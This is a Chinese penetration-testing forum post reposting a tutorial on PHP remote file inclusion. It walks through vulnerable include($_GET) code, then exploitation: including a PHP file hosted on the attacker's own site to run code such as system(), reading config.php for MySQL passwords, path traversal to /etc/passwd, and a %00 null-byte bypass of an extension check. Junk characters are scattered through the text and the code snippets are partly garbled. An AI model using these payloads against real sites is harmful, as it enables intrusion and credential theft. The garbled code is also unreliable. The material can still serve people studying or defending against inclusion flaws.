中国网络渗透测试联盟

标题: PHP远程包含 [打印本页]

作者: admin    时间: 2012-9-15 14:06
标题: PHP远程包含
/ X& e) \" p+ u
php远端档包含漏洞基本
3 d# _' n8 ]8 A: c$ d. A这篇文章里我会告诉php远程档包含漏洞的原理,初涉程式师的人必看。
( H  S' Y- f, C* y' F9 v0 x8 ]本帖隐藏的内容需要回复才可以浏览5 {' h! z5 f0 O+ f3 ?4 ^' S
首先的问题是,什么才是”远程档包含漏洞“?简要的回答是伺服器通过php的任意档包含过滤不严,从而去执行一个恶意档,这是个程式师过滤上的问题,请记住,所有的cgi程式都有这样的bug。; h4 W  p6 R# v# y8 [; d; g5 R  D1 \
1.找出bug:
1 u. l0 h% P: B  d1 N+ P" d为了发现目标,我们首先要知道包含两个字的含义,在所有语言里(大多数)都有这种方法包含任意的档。在php里,我们使用include()函数,它的工作流程:6 O6 u$ o0 R' I7 x$ {
如果你在Main.php里包含include1.php,我将这样写include("include1.php").不是很科学,但你要知道其中的道理。
0 n: G' ]( w% U! c' e我们先看这个,当用户输入通过后就包含档,也就是+ u) z8 d+ {( |2 b, f- n% ?
if ($_GET) {
5 v; b- f% ~/ A2 @0 b; S$ [include $_GET;6 A0 W; r- k0 X5 v
} else {
7 J$ a- M) z+ f( S- L7 xinclude "home.php";
: @' c, }8 Z4 W0 M) V8 S7 |! W}
7 J: R, W8 l; }0 E) Y! b7 z$ N这种结构在动态网站里是常见的,问题是它允许这样http://www.target.com /explame.php?page=main.php或者http://www.target.com/explame.php? page=downloads.php来查看。无论如何,如果你的程式里有这样的bug也很悲哀了,只能怪你,尽管只是一句过滤的问题,但就是这一句过滤就有了Script hacker.在zone-h.org的调查里,档包含的攻击率占到9.4%,足够我们引起重视,而且它也不是一两天的问题,几年前就有了,但到了今天,一批一批程式师依旧走老路重走,所以就有了这篇文章,在2004年写这样的文章已经老掉牙,但我还是要写,毕竟牢骚能让人收益的时候就不叫牢骚了。( L, t" J7 L; E+ N
2.测试& k" @+ y% X3 W5 l
这里有个远端档包含的例子,目的只有一个,为了你的程式安全,我们来看具体的
  {7 }" k: l: n0 n+ ahttp://www.target.com/explame.php?page=zizzy
1 L5 j2 v- V! {Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.php on line 30 W' A: K9 o% U! R0 R& l
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs/index.php on line 3
$ q1 h+ z: m# Q4 b- V2 Cphp输出的这些错误资讯告诉我们,程式去包含档/var/www/htdocs/zizzy,但没找到,看见了吧,No such file or directory没这样的档,现在理解了吧。
5 |, q8 B6 K: w7 J3.利用( p8 R7 z/ u  c8 |6 |, x
php确实很好,可以远端调用档,那我创建一个yeah.txt,放在我的站上http://www.mysite.com/yeah.txt.内容这样9 O5 v' }4 `6 Z' L
<?1 o4 C# Z% ?1 R
echo "Wow,test!";# i) h3 \: K% X/ |5 m
?>
8 j+ }$ N2 @1 ~0 L2 L1 A那么http://www.target.com/explame.php?pa...e.com/yeah.txt
5 Y$ ~" ]9 i! u$ S& U, uOK,回显Wow,test!,这样就执行了。读取config.php也不难吧,里面放了mysql密码啊。把yeah.txt写成<? phpinfo; ?>看看,写成system()去试试,有什么感想,在过分点,这样提交page=../../../../.. /../../etc/passwd。知道什么叫真正的包含了吧。7 {* }. u+ L6 u( n- a) m
4.另一种" W' E. F9 _9 Z4 R
有时程式师换种写法,写成这样,限制了包含范围
) Z6 G- r2 C; l" H6 ^if ($_GET) {
- e  _9 D4 B4 g: t& Oinclude "$_GET.php";
3 i) i* W9 u# o$ b0 B} else {/ X; s* l, J4 h* S" S5 Q, Q, {
include "home.php";
0 ], O6 f( {4 c& p0 P$ C0 _, j}
6 b8 K& r, J. w3 j我们提交http://www.target.com/explame.php?pa...e.com/yeah.txt
0 u5 p' ~6 ], a, R8 {. _9 B$ ZWarning: main(http://www.mysite.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3
5 z1 K: ~$ S! L% t! r; f1 KWarning: main(): Failed opening 'http://www.mysite.com/yeah.txt.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs /explame.php on line 3
8 `* I  w- v0 {. Z. y. \包含失败了,限制了尾码名为php,那mysite.com的yeah.txt改为yeah.php,ok,照样执行了+ W# {7 b# m; X: f2 H
那passwd怎么办  v$ D- E6 U3 {9 E  l4 c
Warning: main(../../../../../../../etc/passwd.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var /www/htdocs/explame.php on line 3& J6 W. o7 S, E. ^3 i
Warning: main(): Failed opening '../../../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/lib /php') in /var/www/htdocs/explame.php on line 3: Z! Y# U  K5 G( j4 ~5 ]
在这里使用个NUL字元,也就是%00来跳过检测* r0 j; H6 |# F
http://www.target.com/explame.php?pa.../etc/passwd%00 ( Q7 O! m; p9 U8 `* B





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2